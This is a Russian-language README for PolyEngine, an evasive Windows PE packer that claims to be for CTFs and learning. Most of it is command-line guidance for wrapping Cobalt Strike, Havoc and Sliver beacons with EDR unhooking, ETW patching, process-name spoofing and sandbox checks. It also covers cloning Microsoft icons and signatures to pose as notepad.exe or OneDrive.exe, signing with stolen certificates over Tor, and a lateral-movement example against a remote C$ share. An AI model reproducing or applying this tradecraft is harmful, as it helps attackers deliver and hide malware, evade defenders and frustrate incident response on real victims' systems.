
PolyEngine — это уклоняющийся от обнаружения PE-паковщик, предназначенный для CTF-соревнований и изучения низкоуровневой безопасности Windows. Он фокусируется на обходе эвристик EDR и AV с помощью многоуровневого стека техник выполнения в памяти и обфускации.
# PolyEngine — полиморфный PE-паковщик 📦
**PolyEngine** — это исследовательский PE-паковщик с функциями уклонения, предназначенный для CTF-задач и обучения низкоуровневой безопасности Windows. Он сосредоточен на обходе эвристик EDR и AV с помощью многоуровневого стека методов выполнения в памяти и обфускации.
Это побочный проект, над которым я работаю уже некоторое время. Я использовал Claude Code для реализации и исправления некоторых техник, которые хотел воплотить в своём собственном PE-паковщике. В коде много комментариев о функциях и их назначении, поскольку для меня это был большой опыт обучения, и Claude справляется с этим безупречно (у меня это выходит плохо). Надеюсь, это поможет кому-то изучить внутренности Windows или обойти некоторые AV-сигнатуры и статические детекты более продвинутых решений, когда вы приступите к этим ProLabs 🏯.
🔥 Огромное спасибо [MalDevAcademy](https://maldevacademy.com/) за все материалы для его создания и вдохновение.
🌩 Спасибо [vx-underground](https://x.com/vxunderground) за вдохновение через какой-то забавный твит с глупым котом.
> **Отказ от ответственности:** Этот инструмент предназначен исключительно для авторизованного тестирования безопасности, CTF-соревнований и образовательных целей. Использование против систем без явного разрешения запрещено. Автор не несёт ответственности за неправомерное использование.
---
## Использование
Порядок сборки: **сначала Stub, затем Builder**. Stub Release|x64 создаёт `stub_v0.bin`..`stub_v3.bin`; Builder встраивает один из них в `.rsrc`.
Убедитесь, что `stub_v0.bin`..`stub_v3.bin` находятся в рабочем каталоге (или передайте `--stub`).```
Builder.exe <input> <output> [OPTIONS]
<input> Target PE (.exe/.dll) or raw shellcode (.bin)
Payload type is auto-detected from the MZ header - no flag needed.
<output> Output executable
Loader:
--stub <path> Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin]
--preset PRINT|MEDIA|NETWORK|RANDOM
Module stomping DLL preset [default: PRINT]
--overload Module overloading instead of stomping
(NtCreateSection/NtMapViewOfSection, not in PEB LDR)
--keep-alive ExitThread(0) instead of ExitProcess
(required for C2 implants that spawn their own threads)
--unhook Restore original .text bytes in ntdll/kernel32/
kernelbase from \KnownDlls\ clean copies
(overwrites EDR inline hooks before any payload syscall)
Payload (PE/DLL only, silently ignored for shellcode):
--export <name> DLL export to invoke after DllMain
--arg <string> Argument passed to the export [max 127 chars]
Evasion (all ON by default):
--spoof-name <exe> Process name for PEB spoof [default: random from pool]
Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe
SearchIndexer.exe taskhostw.exe spoolsv.exe
wlrmdr.exe WMPDMC.exe hvix64.exe
--exec-ctrl-name <name> Semaphore name for exec-ctrl check [default: wuauctl]
(max 31 chars)
--sleep-fwd-ms <ms> Sleep duration for sleep-fwd check [default: 500]
Detection threshold: 90% of <ms> elapsed
--uptime-min <minutes> Uptime threshold for uptime check [default: 2]
--hammer-s <seconds> API-hammer delay duration [default: 3]
--disable <token,token...> Disable one or more features (comma-separated, repeatable)
OPSEC tokens:
etw EtwEventWrite patch (ETW telemetry suppression)
spoofing Call-stack spoofing (SilentMoonwalk RSP pivot)
peb PEB path/cmdline spoof
tls TLS anti-debug callback (patches loader stub before embedding)
Sandbox/debug check tokens:
hammer API-hammer timing delay (VirtualAlloc/Free loop)
debugger Debugger detection (PEB flags / NtQueryInformationProcess)
api-emu API emulation probe (RtlComputeCrc32 identity check)
exec-ctrl Execution-control semaphore (re-execution detection)
sleep-fwd Sleep-forwarding detection (timing)
uptime System uptime check
cpu CPU count check (< 2 logical cores)
screen Screen resolution check (<= 1024 px width)
files Recent-files count check (< 5 RecentDocs subkeys)
all Disable every token listed above
Identity spoofing:
--pfx <path> PFX certificate container to sign the output with
--pfx-pass <password> PFX passphrase [omit if PFX has no password]
--ts-url <url> RFC 3161 timestamp URL [default: no timestamping]
OPSEC: timestamping reveals build IP/time to the TSA.
Enable only when signing from an isolated VM, or when
the signature must survive cert revocation.
--clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory
from a donor PE (e.g. notepad.exe, OneDrive.exe).
Explorer "Details" tab shows donor company/product/version;
file icon matches donor; "Digital Signatures" tab shows
donor's signer (HashMismatch — defeats visual inspection only).
Name output to match donor OriginalFilename field.
When combined with --pfx: real signature overwrites cloned cert.
--uac Embed a UAC elevation manifest (requireAdministrator).
Output PE prompts for admin privileges on launch.
Applied as Phase 10.5 (after packing, before signing).
Examples:
Builder.exe implant.exe packed.exe
Builder.exe implant.exe packed.exe --stub stub_v2.bin
Builder.exe shellcode.bin packed.exe --keep-alive
Builder.exe beacon.dll packed.exe --export Start --keep-alive
Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe"
Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls
Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5
Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx
Builder.exe implant.exe packed.exe --uac
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
```
---
## Примеры
Проработанные примеры, сгруппированные по сценариям. Каждый флаг отключается по желанию (обход включён полностью по умолчанию), поэтому самая простая команда уже использует полный набор возможностей.
<details>
<summary><b>Базовая упаковка — EXE / DLL / shellcode</b></summary>
Упакуйте неуправляемый EXE. Сборщик автоматически определяет заголовок `MZ` и направляет по пути RunPE:```
Builder.exe implant.exe packed.exe
```
Упакуйте сырой позиционно-независимый шеллкод (Cobalt Strike `.bin`, msfvenom `-f raw` и т. д.). Без `MZ` → прямой вызов в распакованный буфер:```
Builder.exe beacon.bin packed.exe
```
Упакуйте DLL и вызовите только её стандартный `DllMain` (без экспорта):```
Builder.exe payload.dll packed.exe
```
Используйте заглушку из нестандартного расположения:```
Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
```
</details>
<details>
<summary><b>DLL-пейлоады с экспортами - Havoc / Sliver / кастомные биконы</b></summary>
Вызовите именованный экспорт после возврата из `DllMain`. Большинство C2-имплантов поставляются в виде DLL с единственным экспортом точки входа (например, Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
Передайте строковый аргумент в экспорт (максимум 127 символов). Полезно для полезных нагрузок, принимающих строку конфигурации, URL или shell-команду:```
Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage"
Builder.exe loader.dll packed.exe --export Run --arg "C:\\Windows\\System32\\calc.exe"
```
`--keep-alive` требуется для любой полезной нагрузки, которая порождает собственные потоки — без него загрузчик вызывает `ExitProcess` и убивает бикон.
</details>
<details>
<summary><b>Долгоживущие импланты (C2-биконы)</b></summary>
Cobalt Strike / Sliver / Havoc порождают поток бикона и возвращаются. Поток загрузчика должен завершиться, не останавливая процесс:```
Builder.exe beacon.exe packed.exe --keep-alive
Builder.exe beacon.bin packed.exe --keep-alive
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
</details>
<details>
<summary><b>Пресеты Module stomping — выбор host DLL</b></summary>
Заглушка расшифровщика скрыта внутри секции `.text` безвредной Windows DLL. Выберите пресет, чьи загруженные модули выглядят наиболее легитимно для целевого контекста:```
Builder.exe implant.exe packed.exe --preset PRINT
Builder.exe implant.exe packed.exe --preset MEDIA
Builder.exe implant.exe packed.exe --preset NETWORK
Builder.exe implant.exe packed.exe --preset RANDOM
```
`PRINT` (по умолчанию) — `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. Распространены на большинстве рабочих станций.
`NETWORK` — `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. Подходит для полезной нагрузки, которой уже требуются сетевые API.
`RANDOM` — три случайных индекса из полного пула (включая `bcrypt.dll`, индекс 9).
Переключение с затирания через `LoadLibraryW` на перегрузку через `NtCreateSection`+`NtMapViewOfSection` (DLL никогда не попадает в `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
```
</details>
<details>
<summary><b>Снятие хуков EDR в пользовательском режиме</b></summary>
Восстановите чистые байты `.text` для `ntdll`, `kernel32`, `kernelbase` из `\KnownDlls\` поверх любых инлайн-хуков EDR. HellsHall уже обходит важные хуки `Nt*`; параметр `--unhook` нужен только тогда, когда сама полезная нагрузка вызывает хукируемые Win32 API (например, `LoadLibrary`, `CreateProcess`):```
Builder.exe implant.exe packed.exe --unhook
Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive
```
</details>
<details>
<summary><b>PEB-спуфинг — маскировка процесса</b></summary>
Переопределите автоматически выбранное имя для спуфинга. Выберите что-то, что соответствует родительскому процессу / контексту запуска (макрос Office → `RuntimeBroker.exe` выглядит странно, `WmiPrvSE.exe` вписывается лучше):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
```
Имя подделки — это просто ASCII-имя файла: Stub добавляет `C:\Windows\System32\` в начале во время выполнения. Всё, что не входит в стандартный пул из 9 процессов, тоже работает.
</details>
<details>
<summary><b>Настройка порогов обхода обнаружения</b></summary>
Более длинная задержка молота для терпеливых песочниц, которые работают десятки секунд перед оценкой:```
Builder.exe implant.exe packed.exe --hammer-s 10
```
Более высокий порог аптайма — запускать только если система работает не менее 30 минут (большинство песочниц поднимают свежую VM для каждого образца):```
Builder.exe implant.exe packed.exe --uptime-min 30
```
Более строгое обнаружение перемотки сна (более короткий сон, сложнее перемотать вперёд без наблюдаемой ошибки):```
Builder.exe implant.exe packed.exe --sleep-fwd-ms 200
```
Пользовательское имя семафора для проверки контроля выполнения (избегает конфликта с другим образцом, использующим стандартный `wuauctl`):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync
```
Соберите всё для параноидального профиля:```
Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate
```
</details>
<details>
<summary><b>Отключение функций для отладки / лабораторной работы</b></summary>
При работе в отладчике TLS-обратный вызов и проверки отладчика срабатывают немедленно. Отключите оба, чтобы свободно подключаться:```
Builder.exe implant.exe packed.exe --disable tls,debugger
```
Пропустить все проверки песочницы (функции OPSEC при этом остаются включёнными - ETW patch, PEB spoof, call-stack spoof):```
Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files
```
То же самое, короче:```
Builder.exe implant.exe packed.exe --disable all
```
Отключите отдельные функции OPSEC (например, когда целевой среде не требуется патчинг ETW, или подмена PEB ломает полезную нагрузку, которая обходит собственный PEB):```
Builder.exe implant.exe packed.exe --disable etw
Builder.exe implant.exe packed.exe --disable peb,spoofing
```
`--disable all` охватывает только проверки песочницы/отладки. Токены OPSEC (`etw`, `spoofing`, `peb`, `tls`) должны быть перечислены явно.
</details>
<details>
<summary><b>Клонирование идентичности — VERSIONINFO, иконка, сертификат Authenticode</b></summary>
Скопируйте косметическую идентичность любого донорского PE-файла в упакованный вывод. Свойства Проводника, значок на панели задач и вкладка «Цифровые подписи» выходного двоичного файла отражают донора:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"
```
Что клонируется:
- **VERSIONINFO** (`RT_VERSION`) — вкладка «Свойства → Подробно» в Проводнике: компания, название продукта, версия файла, авторские права. Копируются все идентификаторы языков, присутствующие в доноре.
- **Иконка** (`RT_GROUP_ICON` + `RT_ICON`) — группа иконок с наименьшим ID (та, которую Проводник использует для иконки оболочки). Панель задач, alt-tab и окно файлового менеджера — везде отображается иконка донора.
- **Каталог сертификатов Authenticode** — исходный блок `WIN_CERTIFICATE` PKCS#7 добавляется в конец файла с выравниванием по 8 байтам. Вкладка «Свойства → Цифровые подписи» в Проводнике показывает подписанта донора (например, `Microsoft Windows`). `Get-AuthenticodeSignature` возвращает `Status = HashMismatch` — подпись структурно валидна, но хэш покрывает байты донора, а не наши. Защищает от небрежной визуальной проверки; любой настоящий верификатор (`signtool verify`, `WinVerifyTrust`, антивирусные движки) обнаруживает несоответствие.
**OPSEC — OriginalFilename:** в VERSIONINFO донора встроен `OriginalFilename` (например, `notepad.exe`). Некоторые проверки подписи и эвристики Defender помечают несоответствие между `OriginalFilename` и фактическим именем файла на диске. Назовите выходной файл соответствующим образом:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe
```
**Комбинация с `--pfx`:** когда присутствуют оба флага, этап 11 (клонирование) выполняется перед этапом 12 (подпись). Настоящая подпись перезаписывает каталог клонированного сертификата; VERSIONINFO и значок сохраняются. `Get-AuthenticodeSignature` показывает ваш сертификат как действительный, а не сертификат донора с несовпадающим хэшем:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**Проверка:**```powershell
# Fake cert clone (no --pfx): expect HashMismatch, donor signer
Get-AuthenticodeSignature .\notepad.exe | Format-List *
# Real signature (--pfx): expect Valid, your cert
Get-AuthenticodeSignature .\notepad.exe | Format-List *
# signtool independent check
signtool verify /pa /v notepad.exe
```
</details>
<details>
<summary><b>Повышение прав UAC — манифест requireAdministrator</b></summary>
Встраивайте манифест `requestedExecutionLevel="requireAdministrator"`, чтобы результирующий PE при запуске вызывал запрос UAC и получал маркер высокой целостности, если пользователь подтверждает действие:```
Builder.exe implant.exe packed.exe --uac
```
Манифест представляет собой ресурс `RT_MANIFEST` (идентификатор ресурса 1 — `CREATEPROCESS_MANIFEST_RESOURCE_ID`), тот же слот, который загрузчик Windows проверяет на наличие манифестов совместимости приложений и привилегий. В остальном выходные данные идентичны сборке без `--uac`; никаких изменений в путь Stub или payload не вносится.
**Сочетание с `--clone-meta` и `--pfx`:** Этап 10.5 (манифест) выполняется перед Этапом 11 (клонирование) и Этапом 12 (подпись). Подпись Authenticode, вычисленная на Этапе 12, покрывает все встроенные ресурсы, включая манифест — хэш действителен для конечного двоичного файла. Диалоговое окно UAC показывает имя издателя из сертификата подписи:```
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**OPSEC:** запрос UAC — это видимое, заметное пользователю событие. Диалог «Разрешить этому приложению вносить изменения на вашем устройстве?» отображает имя файла на диске и издателя Authenticode (или «Неизвестный издатель», если файл не подписан). Комбинируйте `--uac` с `--clone-meta`, чтобы показать знакомую иконку, и `--pfx`, чтобы показать достоверного издателя. Для автоматического выполнения, которое уже запускается из процесса с повышенными привилегиями (например, служба, WMI lateral movement, локальная оболочка администратора), `--uac` не требуется.
</details>
<details>
<summary><b>Подпись Authenticode (PFX, без signtool)</b></summary>
Подпишите упакованный результат сертификатом PFX. Builder взаимодействует напрямую с `mssign32!SignerSignEx2` — не требуется `signtool.exe` на рабочей станции оператора и не требуется инструмент подписи Windows SDK:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
```
PFX без пароля (полностью опустите флаг `--pfx-pass`):```
Builder.exe implant.exe packed.exe --pfx cert.pfx
```
Добавьте метку времени RFC 3161, чтобы подпись оставалась действительной после истечения срока действия сертификата или его отзыва. Учтите, что центр меток времени регистрирует IP-адрес сборки и точный момент подписания — см. примечание по OPSEC ниже:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1
```
**OPSEC — когда пропускать метку времени:** `--ts-url` подключается по желанию. Каждый запрос к публичному TSA заносит хост сборки оператора в HTTP-логи TSA вместе с точной секундой создания подписи — это создаёт сильную криминалистическую корреляцию, если сэмпл позже всплывёт при реагировании на инцидент. Встраивание метки времени также фиксирует этот самый момент в блоке подписи внутри упакованного PE-файла, где любой последующий аналитик сможет его прочитать. Когда метка времени не требуется (обычно для самоподписанных сертификатов или краткосрочных операций, где действительность подписи после истечения срока сертификата не имеет значения), опустите флаг — и подпись останется полностью автономной и изолированной от сети.
**OPSEC — когда оставить метку времени:** украденные или короткоживущие сертификаты подписи кода, которые будут отозваны, выигрывают от контрассигнации TSA — Windows принимает подпись после отзыва, если метка времени предшествует записи об отзыве. В таком случае подписывайте из изолированной ВМ через прокси / Tor и рассматривайте логи TSA как намеренное (но ограниченное) раскрытие.
Приватный ключ никогда не сохраняется на диске: `PFXImportCertStore` вызывается с `PKCS12_NO_PERSIST_KEY`, поэтому контейнер ключа не появляется в `%APPDATA%\Microsoft\Crypto`. Хеширование SHA-256, предпочтительный KSP в CNG для совместимости с PFX, созданными `New-SelfSignedCertificate` и OpenSSL ≥3.x.
</details>
<details>
<summary><b>Реалистичные комбинации</b></summary>
DLL-бикон Cobalt Strike, host с сетевой тематикой, полный обход средств защиты, собственное имя мьютекса:```
Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate
```
Havoc Demon shellcode, перегрузка вместо затирания, увеличенная задержка hammer:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6
```
Stage-2 EXE для CTF, где вы контролируете триггер и антиотладка не нужна:```
Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger
```
Вспомогательная DLL для латерального перемещения с аргументом пути:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook
```
Долгосрочный имплант, замаскированный под обычный бинарный файл Microsoft, полный стек обхода защиты:```
Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10
```
Упакованный образец с настоящим самоподписанным сертификатом + соответствующая идентичность VERSIONINFO:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test
```
</details>
---
## Сборка
**Только Visual Studio 2022 (MSVC v143), Release|x64.** Откройте `PolyEngine.sln`.
Порядок сборки важен:
1. Проект **Stub** (Release|x64) → MSBuild fan-out создаёт `x64/Release/stub_v0.bin` … `stub_v3.bin` (`POLY_VARIANT=0..3`)
2. Проект **Builder** → создаёт `Builder/x64/Release/Builder.exe` (или OutDir решения)
Каждый `stub_v*.bin` — это PE с точкой входа линкера `EntryPoint` (без CRT). Варианты различаются порядком OPSEC-фаз и компоновкой decoy/island; HellsHall/Moonwalk остаются общими. Builder выбирает один случайным образом из текущей рабочей директории (или через `--stub`), запускает StubMorph, затем встраивает полезную нагрузку под ID RT_RCDATA, уникальным для каждой сборки.
MASM: `Stub.vcxproj` → `HellsHall.asm`; Builder → `Engine/DecryptorStub.asm`. Ни CMake, ни Makefile.
**Чтобы добавить новый хэш API:** вычислите `Djb2HashA("ApiName")` (тот же алгоритм, что в `ApiHashing.cpp`), добавьте глобальную переменную `g_Hash_*` в `ApiHashing.h`, инициализируйте её в `ApiHashing_InitHashes()`.
---
## Обзор архитектуры
Три компонента реализуют конвейер **упаковка → шифрование → внедрение**: **Builder** упаковывает входной PE/shellcode, **Engine** (общая библиотека) предоставляет примитивы криптографии/сжатия/мутации, **Stub** — исполнитель времени выполнения, встраиваемый в выходной PE.
<details>
<summary>Подробный конвейер + поток выполнения Stub</summary>```
Builder.exe
├── picks loader stub (random stub_v0..v3.bin, or --stub <path>)
├── reads target PE or raw shellcode (.bin)
├── LZNT1 compress
├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key)
├── MutationEngine → unique polymorphic ASM decryptor per build
├── CryptGenRandom → per-build XTEA key salt + DLL preset indices
├── XTEA-CTR encrypt (outer layer)
├── BuildInfectedPE:
│ ├── patch TLS guard marker (--disable tls)
│ ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID
│ ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize
│ ├── write stub → output PE
│ └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata]
├── (optional) UAC manifest / clone-meta / Authenticode sign
└── Output.exe
Output.exe (= stub_v* variant + StubMorph + .rsrc payload)
├── Loader_InitApis — ApiHashing_InitHashes + resolve kernel32 APIs
├── Loader_LoadPayload — GetPayloadFromResource (280-byte metadata / opsecFlags)
├── Loader_Evasion — HammerDelay + RunChecks (Win32 only, before syscalls)
├── Loader_InitSyscalls — FreshyCalls SSN sort + InitNtApi (HellsHall bind)
├── Loader_OpsecPhase — order depends on POLY_VARIANT (0..3):
---
[Read more](https://github.com/longwayhomie/polyengine)